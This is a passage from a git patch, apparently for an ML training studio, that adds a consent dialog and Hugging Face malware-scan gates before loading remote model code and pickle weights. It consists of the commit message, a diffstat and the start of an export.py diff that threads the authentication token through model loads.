From 0533efe3f859ab9388d52723763e9dd2f09bed1e Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Thu, 18 Jun 2026 05:39:52 -0700 Subject: [PATCH] Harden model fetching (#6391) * Harden model fetching: consent gate for trust_remote_code Add a load-path consent gate that scans a model's auto_map repository code before it executes and blocks CRITICAL/HIGH findings unless the user pins approval of that exact code version. Capability detection stays code-free, reading raw config.json instead of AutoConfig. - Scan config.json and tokenizer_config.json auto_map, nested local helpers, and external owner/name--module repos; fail closed on partial downloads. - Gate inference, training, and export workers, including the MLX path and a LoRA's base model, and report requires_trust_remote_code from the raw config so chat and auto-load surface the dialog. - Verify trusted-org auto-enable against the Hub with the request token and key the verdict cache by token; reject local-path and spoofed names. - Add a consent dialog showing the flagged file, line, and surrounding code. - Thread hf_token through the scan and load paths for gated repos. * Address review: token handling, tokenizer/LoRA scan coverage, rollback - Send the HF token for remote-code scans in the POST body, not the URL, so it never lands in a log or browser history. - Collect tokenizer_config.json auto_map files directly instead of relying only on the repo file listing. - Resolve a LoRA's base model for the validate flag and the scan endpoint so the dialog scans the code the workers actually gate. - Pass the request token to the training YAML trusted-org auto-enable. - Resend a previously approved fingerprint when rolling back to a custom-code model after a failed switch. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Consent UX: drop legacy chat toggle, fix decline copy, purge declined downloads The per-model consent dialog is now the single approval path for custom (auto_map) code in chat, so three leftovers from before it existed are removed: - Remove the "Enable custom code" switch from Chat Settings and stop persisting trust_remote_code, so a previously saved blanket-on cannot linger and load a model without going through per-version review. The flag stays as an internal YAML/preset default (e.g. first-party auto-enable); the load path still gates every custom-code load on a fingerprint only the dialog produces. - Reword the decline message and the auto-load toast to describe approving the model's code from the dialog, not a missing settings toggle. - On decline, purge the repo the scan downloaded so untrusted code is not left on disk. A new /api/models/discard-remote-code endpoint deletes only a metadata-only cache entry the scan created; it refuses local paths, loaded models, and any repo with weight files cached, so a model the user already had or pre-downloaded is always left untouched. The frontend only calls it when the scan reported created_by_scan. Adds discard-endpoint tests (delete metadata-only, refuse on weights/gguf, refuse local, no-op when not cached) and a created_by_scan payload assertion. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Export: remove the user-facing trust remote code toggle The Export page kept a "Trust remote code" switch (default on) next to the HF token field. Like chat, custom (auto_map) code should be approved per model through the load-time review dialog, not a persistent blanket switch, so the toggle is removed. The export load path already routes through the same consent dialog: an HF source now starts with trust_remote_code off and only enables it when the user approves the scanned code in the dialog (a local checkpoint the user exported stays trusted by default). With the dialog unreachable and no approval, an HF source loads with trust_remote_code off, which fails closed rather than running unreviewed code. * Block loads of repos with unsafe files using Hugging Face's security scan The trust_remote_code consent gate covers one load-time RCE vector (a repo's auto_map Python). It does not cover the other: a malicious pickle inside a weight file (pytorch_model.bin, *.pkl, *.dat) deserializes during from_pretrained even with trust_remote_code False, so a repo with a normal config plus a poisoned pickle slips past the existing gate. Add a metadata-only malware gate that uses Hugging Face's own scan (picklescan + ClamAV), read via model_info(securityStatus=True).security_repo_status. It never downloads, opens, or unpickles the flagged files; it only reads the Hub's verdict and surfaces the flagged file names. New evaluate_file_security runs unconditionally (independent of trust_remote_code) in every load path (inference, training SFT/MLX, export), blocking the load when a file is flagged unsafe/suspicious/malicious. The /remote-code-scan preflight and the validate endpoint also report the result so the consent dialog opens as a hard block (no override) listing the flagged files, even for a repo with no custom code. Policy: hard block with no user override; fail open when the scan is unavailable (offline/unscanned) so legitimate loads are not broken; no first-party exemption (a poisoned pickle in a compromised trusted repo still blocks); local paths and GGUF are skipped (no Hub scan, non-pickle format). Blocking does not gate on scansDone, since that is often false for clean repos and a file already flagged unsafe is unsafe regardless. Adds test_file_security.py covering the block/allow/fail-open/skip matrix. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: scan list-form tokenizer auto_map, gate unsafe files on all load paths Fixes from a 10-reviewer pass on the model-fetching hardening: - The remote-code scanner skipped tokenizer auto_map encoded as a [slow, fast] list (transformers' standard tokenizer shape, e.g. {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}). External tokenizer code in that form was never fetched, scanned, or fingerprinted, so an AutoTokenizer(trust_remote_code=True) load could run it. _auto_map_refs now flattens string, list, and nested values. Adds a regression test. - Compare-mode chat loads and background auto-load only gated on requires_trust_remote_code, so a repo flagged unsafe by the Hub scan but with no custom code skipped the hard-block dialog. Both now also gate on requires_security_review, matching the main chat path. - The /remote-code-scan and /validate routes collapsed a LoRA adapter to its base before the malware scan, so unsafe files in the adapter repo itself were missed in the pre-load review (the workers already scan both). Both routes now run the file-security scan over the adapter and the base. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Require approval for all HIGH remote code, fail closed when unscannable Tighten the load-time security gates based on review: Consent gate - HIGH-severity auto_map code now requires explicit, per-version approval for every repo, including first-party unsloth/nvidia. The org is no longer a blanket bypass: a compromised first-party repo with HIGH code still warrants review. CRITICAL stays a hard block; clean code still loads after the consent prompt. - Fail closed when auto_map code is present but cannot be fully fetched or listed to scan (gated, offline, transient, or a repo-listing failure that could hide an imported helper). We cannot fingerprint code we cannot see, so this is a non-approvable block, retryable once the repo is reachable. - Scan auto_map from every config that can carry one (model, tokenizer, image and feature processor, processor, video processor), not just config.json and tokenizer_config.json, so a custom-processor model is not missed. The file list is the single source of truth in remote_code_scan and is pinned to the transformers filename constants by a guard test. - Distinguish a genuine 404 (config truly absent) from a transient error: only the latter forces a scan, so a repo with no config is correctly a no-op. Malware gate - Scan a remote repo even when its name ends in .gguf; only local paths skip the Hub scan, so a repo cannot dodge the scan by naming itself "*.gguf". - Correct the docstring: a file already flagged unsafe blocks regardless of scansDone; the only fail-open path is an unavailable scan. Coverage - Resolve a remote LoRA adapter's base model (not just local directories) so the base, where the code and weights actually execute, is scanned in validate, the scan route, and the training and export workers. - Gate the embedding training path (FastSentenceTransformer) with the malware and consent checks, matching the other load paths. Tests updated and added for each change. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scope malware gate to the load-path vector; stop false-blocking first-party models Follow-up hardening from a second review pass + a broad live model matrix (unsloth/* , nvidia/* , third-party, and the eicar malware repo). Malware / unsafe-file gate - Scope the block to the actual RCE vector: a root-level file in a code-executing format. from_pretrained deserializes weight files at the repo ROOT, so a flag is only a load-path pickle vector there. Two exclusions, because neither is loaded: inert formats (safetensors is tensor-only, gguf is non-pickle, configs/text/ images) and files in subdirectories. This keeps eicar blocked (its *.pkl/*.dat/ eicar_test_file sit at the repo root) while no longer false-blocking legitimate first-party repos: nvidia/Nemotron-H-8B-Base-8K ships root safetensors plus NeMo pickle checkpoints under nemo/ that the loader never touches, and the Hub flags both; the gate previously hard-blocked it. - Unknown / future non-"safe" levels now fail closed (block) instead of being silently allowed, so Hub schema drift cannot introduce a bypass; in-progress ("pending"/"scanning"/"error") levels stay non-blocking to avoid false blocks. Consent gate - Ignore a STALE own-repo auto_map target that is absent from the repo listing (an older config pointing at a file the repo no longer ships) instead of failing the whole repo closed as unscannable. The present .py are still fully scanned, which is the stronger coverage, and a file that is not there cannot execute. This unblocks first-party models like unsloth/PaddleOCR-VL (its tokenizer_config.json names processing_ppocrvl.py while the repo ships processing_paddleocr_vl.py). A referenced .py that IS present but cannot be fetched, and a repo-listing failure, still fail closed. Remote LoRA base resolution - Distinguish a genuine 404 (not a LoRA / repo absent -> None) from a transient error: the transient case is retried once, then logged as a WARNING (a missed base is scanned by neither gate) rather than silently skipped. Discard endpoint - Treat .onnx and .ckpt as weights so a repo whose only heavy artifact is one of those is never eligible for the declined-download purge. Tests added for each: load-path scoping (safetensors/subdir/Nemotron-H shapes, unknown-level fail-closed, pending non-block), stale own-repo auto_map ref, remote LoRA transient retry, and the empty-config-list (all-404 -> []) semantics. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Make LoRA-base transient-warning test robust to logging backend Assert on the logger object directly instead of capsys, so the test does not depend on whether the real structlog logger or the module-stub logger is active (which varies with test collection order). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Allow a repo with auto_map but no executable code (e.g. GGUF) instead of blocking A config can declare an auto_map yet the repo ship NO executable .py -- most commonly a GGUF repo whose config.json carries an auto_map copied from the original model (e.g. unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF references modeling_decilm.py, which the GGUF-only repo does not contain). A GGUF model loads through llama.cpp, which never executes auto_map, and transformers cannot run a file that is not present, so there is nothing to scan and trust_remote_code is a no-op. The fail-closed change treated this empty result the same as "code is present but we could not fetch it" and hard-blocked the load. Distinguish the two: repo_remote_code_files now RAISES RemoteCodeUnscannable when code is present but cannot be fully fetched or listed (offline / gated / transient / a present .py that 404s / a listing failure), and returns an empty dict only when the listing succeeded and the repo genuinely ships no executable .py. The consent gate blocks on the exception (fail closed) and allows the empty case as a no-op. Real unscannable code still hard-blocks; eicar and CRITICAL/HIGH custom code are unaffected. Verified against all 37 unsloth/*Nemotron* models (two GGUF repos were false-blocked, now load) and the existing matrix (eicar still blocks; DeepSeek-OCR / NVLM-D-72B still prompt approvable consent). Tests updated to expect the raise for unscannable cases and added for the no-executable-code no-op. * Ignore vestigial auto_map in GGUF repos (llama.cpp never runs it) A GGUF repo's config.json is often copied verbatim from the original transformers model, auto_map and all, but a GGUF load goes through llama.cpp which never executes auto_map, so the config is inert. Treat a direct .gguf reference, and a repo that ships .gguf weights with no .safetensors, as having no remote code so the consent flow is never triggered. A mixed repo with both .gguf and .safetensors is still gated, since the safetensors variant would load through transformers where auto_map does run. The check sits behind the existing auto_map-present gate so normal models pay no extra repo listing. * Add scanner-result copy to the remote-code consent dialog Make the consent dialog state the scan outcome in plain language for every model. When the static scan finds nothing, reassure the user with 'Our automatic scanner did not flag any worrying files, but please double check.' (shown only for the clean, approvable case). When the scan flags custom code or unsafe files, label the list with 'Our automatic scanner flagged issues including:'. The Hugging Face attribution for unsafe files stays in the dialog description. * Close GGUF-suffix consent bypass for repo ids ending in .gguf The .gguf short-circuit in _config_has_auto_map skipped the scan for any model name ending in .gguf, including a bare two-segment repo id like 'evil/model.gguf'. Such a repo can still ship safetensors plus auto_map Python that transformers would execute, so skipping the scan was an asymmetric bypass (file_security already scans those repos). Restrict the short-circuit to genuine direct GGUF file references via _is_direct_gguf_file_ref: a local .gguf path, or a remote repo_id plus filename (three or more segments). A two-segment repo id named *.gguf now falls through to the config scan and _is_gguf_repo file inspection, so it only skips consent when it actually ships .gguf weights and no safetensors. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Align consent dialog body with the title and fix narrow-width overflow The scan results (the 'Our automatic scanner...' label, finding/unsafe cards, and the clean-scan reassurance) sat at the dialog's left padding while the title and description were indented past the status icon, so the body did not line up under the description. Move the title, description and results into one column to the right of the icon so they share a left edge, and let that column fill its width so the description no longer wraps early. Also stop a wide code snippet from pushing the dialog off-screen on narrow viewports: AlertDialogHeader is a grid with place-items-center, which sized the content row to its content; give the row w-full so it fills the track, and add min-w-0 down the results chain so the snippet scrolls inside its card instead of widening the dialog. Verified aligned and contained from mobile portrait through ultrawide. * Treat a repo as GGUF-only only when it ships no transformers weights _is_gguf_repo excluded only .safetensors, so a repo with a .gguf and a pytorch_model.bin (or .pt/.pth/.h5/.msgpack/.onnx/.ckpt) and no safetensors was treated as GGUF-only and skipped the consent scan, even though transformers can load that weight set and execute the repo's auto_map code. Require the absence of ANY transformers-loadable weight before treating the repo as a llama.cpp-only GGUF load. A genuine GGUF-only repo (only .gguf) is still inert; a mixed repo with any pickle or safetensors weight is gated. Adds a regression test across all the non-safetensors weight formats. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Block flagged subdir weight shards referenced by a root index The malware gate treated every subdirectory file as non-loadable, but from_pretrained deserializes a subdir shard a root index references (pytorch_model.bin.index.json -> shards/...-00001-of-00002.bin). Read the root weight indexes and block a flagged subdir pickle the weight_map points at; a flagged subdir pickle no index lists (NeMo nemo/*.distcp) stays non-blocking, and an inconclusive index lookup fails closed. * Pass hf_token to the export checkpoint load ExportBackend.load_checkpoint scanned with hf_token in the worker but loaded the weights unauthenticated, so a gated/private checkpoint passed preflight then 401'd at from_pretrained. Add hf_token to load_checkpoint and forward token to every from_pretrained branch; the worker passes the command's hf_token. * Scope created_by_scan to every HF cache the discard searches created_by_scan used get_cache_path (active HF_HUB_CACHE only) while /discard-remote-code deletes across active, legacy, and default caches. A repo the user already had in a legacy/default cache was marked scan-created and deleted on decline. Check all three caches for the repo dir before declaring the scan created it. * Scan the full .py closure of external auto_map repos An auto_map cross-repo ref (owner/name--module.Class) only had its entry file downloaded, but transformers also fetches that file's relative imports from the same repo, so a dangerous helper.py was left outside the scanned fingerprint. List each external repo's .py and scan the whole set (plus the referenced entry files); fail closed if the repo cannot be listed or fetched. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fail closed when a weight index cannot be fully read _indexed_shard_paths treated a partial result as definitive: if one weight index read cleanly but another failed transiently, it returned the shard paths it did see. A flagged subdirectory pickle listed only by the index we could not read would then be classed as "not a load input" and skipped, re-opening the very fail-open this guard was added to close. Return None whenever any index read is inconclusive, even if another read cleanly, so the caller blocks the already-flagged subdir pickle. A repo that ships no index files raises EntryNotFoundError for each (never inconclusive) and still returns an empty set. * Match cached repos case-insensitively in the created_by_scan guard _repo_in_any_hf_cache resolved casing only against the active cache and then probed every cache with an exact directory name. A case-variant already present in a legacy or default cache (models--Unsloth--Foo for a scan of unsloth/foo) was missed, so the repo was marked created_by_scan and deleted on decline -- but discard_remote_code_download deletes case-insensitively, so that delete would hit the user's pre-existing cache entry. Detect case-insensitively too, mirroring the deletion path. * Skip remote-code and security review for selected GGUF variants validate_model ran the trust_remote_code and Hugging Face security-scan preflight against the repo even when the selected artifact is a .gguf. A GGUF loads through llama.cpp, which never executes the repo's auto_map Python and never deserializes root pickle weights, so repo-level Transformers artifacts (a config.json with auto_map, or an unsafe pytorch_model.bin next to the .gguf in a mixed repo) are inert for that load. Gating the GGUF on them is a false positive. Run both preflights only for non-GGUF loads. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scope the malware gate to actual load roots and serialized files Two fixes to evaluate_file_security so it neither misses a load-path pickle nor false-blocks an inert file: - Honor subdirectory load roots. Spark-TTS / BiCodec call from_pretrained on the snapshot's LLM subdirectory, so a flagged pickle directly under it is a root-level load artifact there. A new load_subdirs parameter (set from the model's audio type via security_load_subdirs) reclassifies those files relative to the load root and looks for weight indexes under it, so a flagged shard in that subdir is no longer skipped as "not root-level". - Exempt source files. A root .py is never deserialized by from_pretrained; executable repo code runs only through auto_map, which the remote-code consent gate scans. Flagging a Python helper here would false-block a repo that merely ships a build or train script. * Scan a LoRA adapter and base as one consent unit, and gate MEDIUM code A LoRA load runs both the adapter's and the base's repo code. The consent gate scanned them separately and pinned one fingerprint per repo, so an adapter that shipped its own auto_map code was either never shown in the dialog (which only saw the base) or impossible to approve with the base's fingerprint. evaluate_remote_code_consent_for_targets now scans all of a load's repos as a single combined unit and pins ONE fingerprint over the union of their code, so approving the load approves every repo's code together. evaluate_remote_code_consent becomes a thin single-target wrapper, and an unscannable target fails the whole load closed. Also gate MEDIUM findings: like HIGH they now block pending pinned approval, so a direct API caller cannot run flagged code by setting trust_remote_code=True without consenting. Only a clean scan loads without a fingerprint. * Preflight a LoRA load's adapter and base as one combined consent scan scan_model_remote_code rewrote a LoRA adapter to its base and scanned only the base for remote code, so the dialog never surfaced an adapter's own auto_map code. Scan the adapter and base together through preflight_remote_code_consent_for_targets, which pins one combined fingerprint the worker gate accepts. The malware preflight is also scoped to each target's load subdirectories. * Apply combined consent and subdir-aware malware scan in load workers Each load worker (inference, export, training) evaluated remote-code consent once per target with a single shared fingerprint, so a LoRA adapter that ships its own auto_map code could not be approved by the base's fingerprint. They now scan the adapter and base together via evaluate_remote_code_consent_for_targets, which pins one combined fingerprint over the union of their code. The malware scan in each worker is also scoped to the model's load subdirectories so a flagged pickle under a from_pretrained load subdir is not missed. * Report a consistent trust_remote_code requirement after a model loads validate_model reports requires_trust_remote_code from the YAML default OR the raw auto_map, but the load, already-loaded, and status responses reported only the YAML default. A custom-code model approved and loaded via auto_map was then reported as not requiring trust_remote_code, so the frontend stored false and a later retry or rollback sent trust_remote_code=false and failed. A shared resolver reports the same requirement for a loaded model (a value stored at load time, else the trust_remote_code the load used, else the YAML default, else the raw auto_map check), and the load response persists it so the status and already-loaded paths stay consistent. The selected-GGUF security review is also scoped to the model's load subdirectories. * Run the consent gate on training resume and for YAML-only trust_remote_code Three frontend gaps left a model loading without the trust_remote_code it needs: - The shared consent helper returned early when the scan found no auto_map and no unsafe files, dropping a requirement that comes from a model's Studio YAML default (e.g. GLM-4.7-Flash). It now grants the caller's requirement with an empty pin instead of sending trust_remote_code=false. - Resume-from-history called startTraining directly with no consent gate, so a resumed run whose model needs custom code (or an old run with no approved fingerprint) hit the worker block with no dialog. It now runs the same gate as a fresh start. - HF export passed requiresTrustRemoteCode=false for every HF source, so a YAML-only model could not flip the flag before export. It now signals the requirement for HF sources. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Cover both LoRA repos in validate, report GGUF as inert, purge all declined repos Three follow-on gaps from the combined adapter+base consent work: - validate_model resolved requires_trust_remote_code from the base alone, so a LoRA adapter that ships its OWN auto_map code (with a plain base) was reported as not needing trust_remote_code and the consent dialog never opened. It now checks the [adapter, base] target set, matching the scan route and the workers (which already gate both) and the security review already running over both. - The already-loaded, loaded, and status responses for a selected GGUF reported requires_trust_remote_code from the model's YAML default. A GGUF loads through llama.cpp, which never executes the repo's auto_map Python, so the requirement is inert for that load. They now report False, matching validate_model (which already skips both gates for GGUF) so a status refresh cannot flip the flag back on. - The remote-code scan downloads both the adapter's and the base's config, but created_by_scan tracked only the primary, so a base the scan was first to pull into the cache was left on disk when the user declined. The scan now reports scan_created_repos (every repo it newly cached) and the decline cleanup purges each; created_by_scan stays for older clients. The frontend falls back to the primary flag when the list is absent. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scan the repo the load fetches, purge external code on decline, harden consent pins Six follow-on hardening fixes from a fresh review pass over the gate: - The malware gate scanned the literal "Spark-TTS-0.5B/LLM" alias, but the trainer downloads it as unsloth/Spark-TTS-0.5B and loads LLM/, so the alias 404'd and failed open, missing a flagged LLM/ pickle. evaluate_file_security now resolves the alias to the repo the loader fetches and scans LLM/ as a load root. - security_load_subdirs relied only on tokenizer detection, which fails on an unresolved alias or offline; it now also honors the Studio YAML audio_type default, so a BiCodec LLM/ load root is not missed. - The remote-code scan downloads external auto_map repos (owner/name--module.Class), but the decline cleanup tracked only the model/adapter/base, leaving the external untrusted code cached. The scan now enumerates external auto_map repos and reports the ones it created in scan_created_repos, so a decline purges them too. - External auto_map refs failed the whole load closed on a stale or mis-derived dotted ref (sub.mod.py vs the real sub/mod.py) even though the actual file was present and scanned. They now drop such refs when the repo listing is real, exactly like the own-repo path; an empty/incomplete listing still fetches and fails closed. - The combined consent fingerprint keyed code by the raw target string, so the scan endpoint's canonicalized casing and a worker's raw user input produced different pins for identical code, rejecting a valid approval. Hub repo ids are now folded to lowercase in the key (local paths stay case-sensitive), so the pin tracks the code. - Export threaded hf_token into the weight load but not into detect_audio_type / is_vision_model, so a gated multimodal base 404'd in detection and fell through to the text loader. Both probes now use the same token. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Thread the token through check-vision and guard the gate's parallel sites The /check-vision endpoint classified a model without the hf_token, so a gated or private vision model 404'd in the probe and was reported as a plain text model -- the same dropped-token shape as the export probes, at a sibling site. It now passes the token like the neighboring /check-embedding endpoint. Add deterministic consistency guards (tests/test_security_gate_consistency.py) that enumerate the gate's parallel sites mechanically instead of relying on a review to spot a missed sibling: every is_vision_model / is_embedding_model / detect_audio_type caller under routes/ and core/ must thread the token, every GGUF response must report trust_remote_code via the resolver or False (never the raw YAML default), and every load worker that runs the malware or consent gate must resolve the LoRA base. A new site that drops the token or mis-reports the requirement now fails CI directly. * Narrow the LLM alias rewrite and make audio detection token-aware Three fixes from the confirmatory review, one a regression from the previous round: - _load_scan_target rewrote EVERY remote repo ending in "/LLM" to unsloth/, so a real third-party repo named "/LLM" was scanned as unsloth/ while the loader still fetched the real repo -- a fail-open hole introduced when the Spark-TTS alias handling was added. It now rewrites only a registry-known bicodec alias; every other "/LLM" repo is scanned as itself. - detect_audio_type cached results under the bare model name, so an unauthenticated probe of a gated/private repo cached None and poisoned a later authenticated call with the token. The cache is now keyed by (normalized_name, token_fingerprint), matching the vision cache. - The training fallback /check-vision call dropped the hf_token, misclassifying a gated/private VLM when the config endpoint failed. It now passes the token, like the getModelConfig call it falls back from; checkEmbeddingModel takes the token too. Extend the consistency guards: every capability cache must be keyed by a tuple including the token, so a cache re-declared as Dict[str, ...] fails CI. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Document the broad .py scan as deliberate and enforce it with a test The remote-code scanner scans every .py in a repo once an auto_map exists, not just the auto_map entry's static import closure. This is intentional: the entry module can reach a sibling via an absolute import, importlib, or exec, none of which a static relative-import closure follows, so closure-only scanning would be a real bypass of a load-time RCE gate. The broad scan never under-scans; the cost is that an unrelated benign script can over-block, which is the safe failure direction (HIGH stays approvable; only CRITICAL hard-blocks). Spell this out at both the local and remote scan sites so the choice reads as deliberate, and add a test asserting an unrelated, never-imported .py is still scanned -- so a future narrowing to the static closure fails CI. * Purge a declined remote LoRA adapter the scan downloaded scan_model_remote_code probed the created-by-scan state AFTER resolving the base, but get_base_model_from_lora_identifier downloads a remote adapter's own adapter_config.json, so the adapter looked already-cached and was dropped from scan_created_repos. On decline the adapter -- including the auto_map .py the preflight fetched -- was left on disk, defeating the "untrusted code is not left on disk" guarantee for the adapter itself. Snapshot the primary's cache state BEFORE base resolution and use it when marking the adapter scan-created; on any probe error treat it as pre-existing so a decline never deletes it. The base and external repos are unaffected (their configs are not downloaded before their own probe). Add a test that models the mid-scan download side effect, which the prior static-stub tests did not. * Clear remote-code approval when the training model changes Switching the training model from an approved custom-code model to a clean one kept the previous model's trust_remote_code=true and approved fingerprint in the store: setSelectedModel reset visionImageSize on a true switch but not the remote-code approval. The clean model then trained with trust_remote_code=true, which bypasses the compiler and disables fused cross-entropy. Reset trustRemoteCode and approvedRemoteCodeFingerprint on a true model switch. The new model's own YAML default is re-applied by loadAndApplyModelDefaults, and a custom-code model still re-opens the consent dialog before training starts, so the only change is that a clean model no longer inherits a stale approval. * Trim verbose comments across the model-fetching hardening changes Condense the explanatory comments and docstrings introduced across the trust_remote_code consent gate, the malware/unsafe-file gate, the remote-code scanner, the load workers, the model routes, and the security frontend into fewer, tighter lines while preserving every security rationale (fail-open vs fail-closed direction, the deliberate broad-scan anti-bypass note, the empty-vs-unscannable distinction, stale-ref handling, and the alias-rewrite spoof guard). Comments and docstrings only. No code, logic, identifiers, or test behaviour changed; verified comment-only via the AST/TypeScript checker (40/40), with the backend test suite and frontend tsc green. * Do not cache transient audio-detection failures detect_audio_type cached _detect_audio_from_tokenizer's result unconditionally, so a transient read failure (network error or 5xx, returned as None) poisoned the cache and the later successful probe never ran. Mirror the vision cache: _detect_audio_from_tokenizer now returns (audio_type, definitive) and the caller caches only definitive results. A read that succeeds with no audio tokens, or clean 404s for every tokenizer path, stays a cacheable None; only a genuine transient failure (connection error, timeout, 5xx, malformed body) skips the cache so the next call retries. --------- Co-authored-by: danielhanchen Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- studio/backend/core/export/export.py | 19 +- studio/backend/core/export/orchestrator.py | 2 + studio/backend/core/export/worker.py | 86 +- studio/backend/core/inference/orchestrator.py | 5 +- studio/backend/core/inference/worker.py | 69 +- studio/backend/core/training/training.py | 1 + studio/backend/core/training/worker.py | 216 +++ studio/backend/models/export.py | 8 + studio/backend/models/inference.py | 9 + studio/backend/models/training.py | 4 + studio/backend/routes/export.py | 2 + studio/backend/routes/inference.py | 143 +- studio/backend/routes/models.py | 263 ++- studio/backend/routes/training.py | 18 +- .../tests/test_capability_detection.py | 361 +++++ studio/backend/tests/test_consent_gate.py | 1414 +++++++++++++++++ studio/backend/tests/test_file_security.py | 534 +++++++ ...models_get_model_config_case_resolution.py | 26 + .../tests/test_security_gate_consistency.py | 101 ++ .../backend/tests/test_trained_model_scan.py | 78 + .../tests/test_validate_model_error.py | 127 ++ studio/backend/tests/test_vision_cache.py | 109 +- studio/backend/utils/hardware/hardware.py | 22 +- studio/backend/utils/models/__init__.py | 2 + studio/backend/utils/models/model_config.py | 324 +++- studio/backend/utils/security/__init__.py | 107 ++ studio/backend/utils/security/consent.py | 358 +++++ .../backend/utils/security/file_security.py | 368 +++++ .../utils/security/remote_code_scan.py | 679 ++++++++ studio/backend/utils/security/trusted_org.py | 120 ++ studio/backend/utils/transformers_version.py | 36 +- studio/frontend/src/app/routes/__root.tsx | 2 + .../src/features/chat/api/chat-adapter.ts | 11 +- .../src/features/chat/chat-settings-sheet.tsx | 41 +- .../chat/hooks/use-chat-model-runtime.ts | 42 +- .../src/features/chat/shared-composer.tsx | 47 +- .../frontend/src/features/chat/types/api.ts | 4 + .../chat/utils/chat-settings-storage.ts | 6 +- .../src/features/export/api/export-api.ts | 4 + .../src/features/export/export-page.tsx | 71 +- .../features/security/api/remote-code-api.ts | 111 ++ .../components/remote-code-consent-dialog.tsx | 290 ++++ .../security/hooks/use-remote-code-consent.ts | 73 + .../frontend/src/features/security/index.ts | 8 + .../features/security/lib/severity-tone.ts | 17 + .../remote-code-consent-dialog-store.ts | 37 + .../frontend/src/features/security/types.ts | 46 + .../src/features/training/api/mappers.ts | 1 + .../src/features/training/api/models-api.ts | 16 +- .../training/hooks/use-training-actions.ts | 42 + .../training/stores/training-config-store.ts | 17 +- .../src/features/training/types/api.ts | 2 + .../src/features/training/types/config.ts | 1 + 53 files changed, 6243 insertions(+), 257 deletions(-) create mode 100644 studio/backend/tests/test_capability_detection.py create mode 100644 studio/backend/tests/test_consent_gate.py create mode 100644 studio/backend/tests/test_file_security.py create mode 100644 studio/backend/tests/test_security_gate_consistency.py create mode 100644 studio/backend/utils/security/__init__.py create mode 100644 studio/backend/utils/security/consent.py create mode 100644 studio/backend/utils/security/file_security.py create mode 100644 studio/backend/utils/security/remote_code_scan.py create mode 100644 studio/backend/utils/security/trusted_org.py create mode 100644 studio/frontend/src/features/security/api/remote-code-api.ts create mode 100644 studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx create mode 100644 studio/frontend/src/features/security/hooks/use-remote-code-consent.ts create mode 100644 studio/frontend/src/features/security/index.ts create mode 100644 studio/frontend/src/features/security/lib/severity-tone.ts create mode 100644 studio/frontend/src/features/security/stores/remote-code-consent-dialog-store.ts create mode 100644 studio/frontend/src/features/security/types.ts diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index b28b61f088..a0959741a4 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -145,13 +145,19 @@ class ExportBackend: max_seq_length: int = 2048, load_in_4bit: bool = True, trust_remote_code: bool = False, + hf_token: Optional[str] = None, ) -> Tuple[bool, str]: """ Load a checkpoint for export. + ``hf_token`` authenticates the actual weight load for gated/private + checkpoints, matching the token the worker used for the security preflight + (otherwise a gated repo passes scanning then 401s at from_pretrained). + Returns: Tuple of (success: bool, message: str) """ + token = hf_token if hf_token and hf_token.strip() else None try: logger.info(f"Loading checkpoint: {checkpoint_path}") @@ -169,8 +175,10 @@ class ExportBackend: model_id = base_model or checkpoint_path - self._audio_type = detect_audio_type(model_id) - self.is_vision = not self._audio_type and is_vision_model(model_id) + # Token the type-detection probes too, else a gated multimodal base + # 404s here and falls through to the text loader. + self._audio_type = detect_audio_type(model_id, hf_token = token) + self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token) if self._audio_type == "csm": from unsloth import FastModel @@ -184,6 +192,7 @@ class ExportBackend: auto_model = CsmForConditionalGeneration, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "whisper": @@ -197,6 +206,7 @@ class ExportBackend: load_in_4bit = False, auto_model = WhisperForConditionalGeneration, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "snac": @@ -207,6 +217,7 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "bicodec": @@ -218,6 +229,7 @@ class ExportBackend: dtype = None if _IS_MLX else torch.float32, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, ) elif self._audio_type == "dac": @@ -228,6 +240,7 @@ class ExportBackend: max_seq_length = max_seq_length, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, ) elif self.is_vision: @@ -238,6 +251,7 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, ) tokenizer = processor # vision: processor acts as tokenizer @@ -249,6 +263,7 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, ) if _IS_MLX: diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 20158d1891..d78866a494 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -301,6 +301,7 @@ class ExportOrchestrator: max_seq_length: int = 2048, load_in_4bit: bool = True, trust_remote_code: bool = False, + approved_remote_code_fingerprint: 